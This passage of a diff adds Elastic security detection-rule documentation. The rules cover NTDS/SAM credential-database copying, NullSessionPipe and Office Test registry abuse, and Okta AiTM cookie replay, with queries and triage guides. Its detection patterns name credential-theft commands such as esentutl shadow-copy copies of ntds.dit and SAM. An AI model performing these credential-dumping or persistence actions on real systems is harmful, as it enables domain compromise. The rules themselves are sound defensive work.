Scheduled backups by legitimate IT staff can trigger the rule. Verify the identity and role of the user executing wbadmin and consider excluding known backup schedules from detection. +- Automated recovery processes in disaster recovery plans might use wbadmin with similar arguments. Review and whitelist these processes if they are part of approved recovery procedures. +- Security audits or compliance checks may involve accessing NTDS.dit for validation purposes. Confirm the legitimacy of these activities and exclude them if they are part of regular audits. +- Test environments that mimic production setups might execute similar commands. Ensure these environments are properly documented and excluded from detection if they are used for testing purposes. + + +*Response and remediation* + + +- Immediately isolate the affected domain controller from the network to prevent further unauthorized access or data exfiltration. +- Revoke any suspicious or unauthorized accounts from the Backup Operators group and review all accounts with elevated privileges for legitimacy. +- Conduct a thorough review of recent backup and recovery operations on the affected domain controller to identify any unauthorized access or data manipulation. +- Change all domain administrator and service account passwords to mitigate potential credential compromise. +- Restore the NTDS.dit file from a known good backup if any unauthorized modifications are detected. +- Implement enhanced monitoring and logging for wbadmin.exe usage across all domain controllers to detect future unauthorized access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "wbadmin.exe" or ?process.pe.original_file_name : "wbadmin.exe") and + process.args : "recovery" and process.command_line : "*ntds.dit*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ntds-or-sam-database-file-copied.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ntds-or-sam-database-file-copied.asciidoc new file mode 100644 index 0000000000..05fcd81d31 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ntds-or-sam-database-file-copied.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-ntds-or-sam-database-file-copied]] +=== NTDS or SAM Database File Copied + +Identifies a copy operation of the Active Directory Domain Database (ntds.dit) or Security Account Manager (SAM) files. Those files contain sensitive information including hashed domain and/or local credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/ +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy +* https://www.elastic.co/security-labs/detect-credential-access +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating NTDS or SAM Database File Copied* + + + +*Possible investigation steps* + + +- What protected store did the alerting command try to copy, and where was it sent? + - Focus: `process.command_line` for NTDS vs SAM, direct path vs "GLOBALROOT\Device\HarddiskVolumeShadowCopy" or "esentutl.exe /y /vss /d", and a local, UNC, archive, or temp-like destination. + - Implication: escalate when the command copies NTDS, SAM, or a VSS-backed hive to a user-writable, remote, or archive path, and treat NTDS as domain credential exposure and SAM as local credential exposure; lower suspicion only when the exact source, destination, and copy method fit one recognized backup, repair, or authorized forensic collection. Identity alone never clears the copy. + +- If PowerShell performed the copy, what script content produced it? + - Focus: if PowerShell script-block telemetry is available, recover events with `host.id` + `process.pid` in a tight alert window; reconstruct split blocks with `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`, then read `powershell.file.script_block_text`. Missing PowerShell telemetry is unresolved, not benign. + - Implication: escalate when the reconstructed script copies NTDS, SAM, or VSS paths, loops shadow copies, hides destinations, or chains archive or transfer logic; lower suspicion when script content matches the same recognized backup, repair, or forensic workflow as the alert command. + +- Is the copier the expected binary in the expected launch chain? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.executable`. + - Implication: escalate when the copier is renamed, unsigned or unexpectedly signed, runs from a user-writable path, or is launched by an unusual shell, script, service, or remote tool; lower suspicion when the same binary identity and parent chain match the workflow proven in the command line. + +- Does the user, privilege, and session context fit protected credential-store access? + - Focus: `user.id`, `process.Ext.session_info.logon_type`, `process.Ext.token.integrity_level_name`, and `process.Ext.authentication_id`. !{investigate{"description":"","label":"Authentication events for the linked session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if Windows Security authentication logs are available, recover session origin by matching `process.Ext.authentication_id` to same-host `winlog.event_data.TargetLogonId`, then read `source.ip` and `winlog.event_data.AuthenticationPackageName`. Missing authentication telemetry is unresolved, not benign. + - Implication: escalate when the copy runs under an unexpected admin, service, machine, remote-interactive, or high-integrity context, or when recovered origin evidence conflicts with the same backup, repair, or forensic pattern; lower suspicion only when account, session type, and origin all match that pattern. + +- Do recovered artifacts or follow-on activity show staging or transfer? + - Focus: if endpoint file telemetry is available, recover file events for the copier and children; read `file.path` and `file.name`. Missing file telemetry is unresolved, not benign. !{investigate{"description":"","label":"File activity for the alerting process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: review child starts where `process.parent.entity_id` matches the copier, especially `process.command_line` and `process.executable`; if endpoint network telemetry is available, recover connections for the copier and children, then read `destination.ip`, `destination.port`, and `network.direction`. Missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"Child processes of the copier","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network activity for the alerting process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when copied hives, "ntds.dit", SAM exports, archives, child archivers, share-copy tools, upload utilities, or outbound connections reuse the copied store or destination; absence of recovered artifacts or connections cannot close the alert by itself. + +- If local evidence is unrecognized, is this copy part of a VSS-to-archive credential-access chain? + - Focus: related alerts for `user.id` showing shadow-copy creation, credential dumping, archiving, privilege escalation, lateral movement, or the same command/store pattern. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` history for the same store or destination pattern; this rule catches the copy, so earlier shadow-copy or backup-service activity changes scope. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when related evidence shows shadow-copy creation before the copy or archiving/transfer after it; do not close while the current copy evidence remains unresolved. + +- Escalate on an unrecognized NTDS, SAM, or VSS copy to a staging path, abnormal copier or parent, mismatched session, recovered script/artifact/transfer evidence, or a VSS-to-archive chain; close only when source, destination, copier, session, and recovered evidence all match one backup, repair, or authorized forensic/IR pattern; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Backup, disaster-recovery, repair, and authorized forensic/IR collection can legitimately copy NTDS, SAM, or VSS-backed hives. Confirm by aligning identity (`process.executable`, `process.code_signature.subject_name`, `process.parent.executable`), intent (bounded `process.command_line` source/destination), and scope (`user.id`, `host.id`, recovered artifact destination, and recovered session origin). If organizational records are unavailable, close only when telemetry proves the same identity, command, destination, artifact, session, `user.id`, and `host.id` pattern; otherwise preserve and escalate. +- Build exceptions only from the minimum confirmed workflow pattern: stable `process.executable` or `process.code_signature.subject_name`, `process.parent.executable`, bounded `process.command_line` source/destination, `user.id`, and `host.id`. Avoid exceptions on utility name, copied store name, or destination family alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the evidence that proved the workflow: copier identity, parent chain, command source/destination, recovered artifact destination, `user.id`, `host.id`, and recovered session origin. Create an exception only after a tuning review confirms the same stable workflow pattern; do not suppress on one partial match. +- If suspicious but unconfirmed, preserve the alert, Timeline or query results, `process.entity_id` or `process.pid` + `host.id` + alert time, `process.command_line`, `process.parent.executable`, recovered copied-store paths, archive names, destination shares, transfer destinations, and recovered session-origin evidence before containment or cleanup. +- Apply reversible containment next: restrict the destination share, block confirmed transfer destinations, heighten monitoring for the affected `host.id` and `user.id`, or isolate the endpoint only after weighing tier-0 and production impact. +- If malicious activity is confirmed, isolate the host or contain the account according to the evidence, then terminate the copy, archive, or transfer process only after preserving `process.entity_id`, `process.parent.entity_id`, command lines, copied-store locations, and destination indicators. +- For confirmed NTDS copying, activate the Active Directory compromise response plan and begin credential hygiene for affected administrative tiers. For confirmed SAM copying, scope local-account and service-account exposure on the affected endpoint or server. +- After evidence export and scoping, eradicate only copied databases or hives, archives, shadow-copy artifacts, and staging utilities identified during investigation, then remediate the privilege path or access vector that enabled the copy. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + ((?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "XCOPY.EXE") or process.name : ("Cmd.Exe", "PowerShell.EXE", "XCOPY.EXE")) and + process.args : ("copy", "xcopy", "Copy-Item", "move", "cp", "mv") + ) or + ((?process.pe.original_file_name : "esentutl.exe" or process.name : "esentutl.exe") and process.args : ("*/y*", "*/vss*", "*/d*")) + ) and + process.command_line : ("*\\ntds.dit*", "*\\config\\SAM*", "*\\*\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy*\\*", "*/system32/config/SAM*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nullsessionpipe-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nullsessionpipe-registry-modification.asciidoc new file mode 100644 index 0000000000..fb13ac7dc6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nullsessionpipe-registry-modification.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-nullsessionpipe-registry-modification]] +=== NullSessionPipe Registry Modification + +Identifies NullSessionPipe registry modifications that specify which pipes can be accessed anonymously. This could be indicative of adversary lateral movement preparation by making the added pipe available to everyone. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ +* https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating NullSessionPipe Registry Modification* + + +The NullSessionPipe registry setting in Windows defines which named pipes can be accessed without authentication, facilitating anonymous connections. Adversaries may exploit this by modifying the registry to enable lateral movement, allowing unauthorized access to network resources. The detection rule monitors changes to this registry path, flagging modifications that introduce new accessible pipes, which could indicate malicious intent. + + +*Possible investigation steps* + + +- Review the registry event details to confirm the specific named pipes added or modified in the NullSessionPipes registry path. Focus on the registry.data.strings field to identify any new or suspicious entries. +- Correlate the timestamp of the registry change event with other security events or logs from the same host to identify any concurrent suspicious activities, such as unusual network connections or process executions. +- Investigate the user account or process responsible for the registry modification by examining the event data for user context or process identifiers. This can help determine if the change was made by an unauthorized user or malicious process. +- Check for any recent alerts or logs related to lateral movement or unauthorized access attempts on the network, focusing on the host where the registry change was detected. +- Assess the risk and impact of the modified named pipes by determining if they are commonly used in legitimate operations or if they are known to be exploited by malware or threat actors. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts may modify the NullSessionPipe registry setting as part of routine network management. Review the source of the change and verify if it aligns with known administrative activities. +- Some network services or applications might require anonymous access to specific pipes for functionality. Identify these services and document them to differentiate between expected and unexpected modifications. +- Scheduled tasks or automated deployment scripts could alter the registry setting during updates or installations. Ensure these tasks are documented and verify their legitimacy. +- Security software or network monitoring tools might adjust the NullSessionPipe settings for scanning purposes. Confirm with your security team if such tools are in use and adjust the detection rule to exclude these known activities. +- Regularly review and update the list of known exceptions in your detection system to prevent alert fatigue and ensure focus on genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Review the registry changes to identify any unauthorized pipes added to the NullSessionPipes registry key and remove them to restore secure configurations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to detect and remove any malicious software that may have been introduced. +- Analyze network logs and system event logs to identify any unauthorized access attempts or successful connections made through the modified pipes, and block any suspicious IP addresses or accounts. +- Reset credentials for any accounts that may have been compromised or used in conjunction with the unauthorized access to ensure they cannot be reused by adversaries. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been affected. +- Implement enhanced monitoring and alerting for changes to the NullSessionPipes registry key and similar registry paths to detect and respond to future unauthorized modifications promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "NullSessionPipes" and + length(registry.data.strings) > 0 and + not registry.data.strings : "(empty)" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-office-test-registry-persistence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-office-test-registry-persistence.asciidoc new file mode 100644 index 0000000000..bee88bc11e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-office-test-registry-persistence.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-office-test-registry-persistence]] +=== Office Test Registry Persistence + +Identifies the modification of the Microsoft Office "Office Test" Registry key, a registry location that can be used to specify a DLL which will be executed every time an MS Office application is started. Attackers can abuse this to gain persistence on a compromised host. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-m365_defender.event-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Office Test Registry Persistence* + + +The Office Test Registry key in Windows environments allows specifying a DLL to execute whenever an Office application starts, providing a mechanism for legitimate customization. However, adversaries can exploit this for persistence by loading malicious DLLs. The detection rule monitors modifications to this registry path, excluding deletions, to identify potential abuse, leveraging data from various security sources to flag suspicious activity. + + +*Possible investigation steps* + + +- Review the registry event details to identify the specific DLL path that was added or modified in the Office Test Registry key. +- Check the file properties and digital signature of the DLL specified in the registry modification to determine its legitimacy. +- Investigate the source of the registry modification by correlating with user activity logs to identify which user account made the change. +- Analyze recent process execution logs for any Office applications to detect if the suspicious DLL has been loaded or executed. +- Cross-reference the DLL and associated registry modification with threat intelligence sources to check for known malicious indicators. +- Examine the system for additional signs of compromise, such as unusual network connections or other persistence mechanisms, to assess the scope of potential intrusion. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the Office Test Registry key as part of their setup process. Users can create exceptions for known software vendors or specific applications that are frequently updated. +- System administrators might use scripts or management tools that modify the registry for configuration purposes. Identify and exclude these trusted scripts or tools from triggering alerts. +- Customization by IT departments for legitimate business needs can lead to registry modifications. Document and whitelist these customizations to prevent false positives. +- Security software or monitoring tools might interact with the registry as part of their normal operations. Verify and exclude these interactions if they are known to be safe and necessary for system functionality. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further spread or communication with potential command and control servers. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the malicious DLL identified in the registry path. +- Remove the malicious DLL entry from the Office Test Registry key to prevent it from executing on future Office application startups. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or remnants. +- Review recent user activity and system logs to identify any unauthorized access or changes that may have led to the registry modification, and reset credentials if necessary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar registry modifications across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.path : "*\\Software\\Microsoft\\Office Test\\Special\\Perf\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Office Test +** ID: T1137.002 +** Reference URL: https://attack.mitre.org/techniques/T1137/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-aitm-session-cookie-replay.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-aitm-session-cookie-replay.asciidoc new file mode 100644 index 0000000000..4184447b93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-aitm-session-cookie-replay.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-okta-aitm-session-cookie-replay]] +=== Okta AiTM Session Cookie Replay + +Detects potential Adversary-in-the-Middle (AiTM) session cookie replay attacks against Okta. This rule identifies when an Okta session is used from multiple IP addresses or with suspicious non-browser user agents after initial authentication. AiTM attacks capture session cookies via phishing proxies (e.g., Evilginx, Modlishka) and replay them from attacker infrastructure, bypassing MFA. The detection correlates session start events with subsequent policy evaluations or SSO attempts that occur from different IPs or programmatic user agents. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/okta-sso-accounts-targeted-in-vishing-based-data-theft-attacks/ +* https://reliaquest.com/blog/threat-spotlight-shinyhunters-data-breach-targets-salesforce-amid-scattered-spider-collaboration/ +* https://securitylabs.datadoghq.com/articles/investigating-an-aitm-phishing-campaign-m365-okta/) +* https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta AiTM Session Cookie Replay* + + +Adversary-in-the-Middle (AiTM) attacks use reverse proxies to intercept authentication flows, capturing session cookies after victims complete MFA. Attackers then replay these cookies from their own infrastructure to hijack authenticated sessions. This rule detects the post-capture phase by identifying sessions used from anomalous contexts. + +This is an ES|QL aggregation-based rule. Pivot into raw events using the root session ID for full investigation context. + + +*Possible investigation steps* + + +- Review the collected IP addresses from the alert to identify all IPs that accessed this session. Investigate geographic locations and ASN ownership for each IP. +- Examine the user agent values for non-browser user agents like `python-requests`, `curl`, or `Headless` browsers that indicate programmatic access. +- Check Okta's risk assessment fields. HIGH risk with reasons like "Anomalous Device" or "Anomalous Location" strengthens AiTM suspicion. +- Correlate the session start timestamp with the first replay attempt timestamp to understand the attack timeline. +- Query raw Okta events for the session ID to see all activity within this session, including accessed applications. +- Review proxy detection fields to determine if attacker requests originated from VPN/proxy infrastructure. +- Check the user's recent password reset or MFA enrollment events, as these may indicate account compromise leading to the AiTM attack. +- Contact the user to verify if they received phishing emails with links to suspicious login pages around the session start time. + + +*False positive analysis* + + +- Legitimate VPN usage may cause IP address changes within a session. Check if both IPs belong to known corporate VPN ranges or the user's typical locations. +- Users traveling may show geographic IP changes. Correlate with travel schedules or expense reports if available. +- Browser extensions or security tools may modify user agents. Verify the user agent patterns match known tools in the environment. +- API integrations using user context may trigger non-browser UA detection. Exclude known service accounts. + + +*Response and remediation* + + +- Immediately terminate all active sessions for the affected user via Okta Admin Console. +- Reset the user's password and require MFA re-enrollment to invalidate any captured credentials. +- Review and revoke any OAuth tokens or API keys associated with the user. +- Check Okta System Log for applications accessed during the suspicious session and assess data exposure. +- If downstream applications were accessed, coordinate with application owners to review access logs and potential data exfiltration. +- Block the attacker IP addresses at the network perimeter and add to threat intelligence feeds. +- Implement Okta sign-on policies that challenge or block sessions with HIGH risk scores or proxy detection. +- Consider enabling Okta ThreatInsight to automatically block known malicious IPs. +- Review email security logs for phishing attempts targeting the user around the session start time. +- Escalate to incident response if sensitive applications (AWS, Salesforce, email) were accessed from the attacker IP. + + +==== Rule 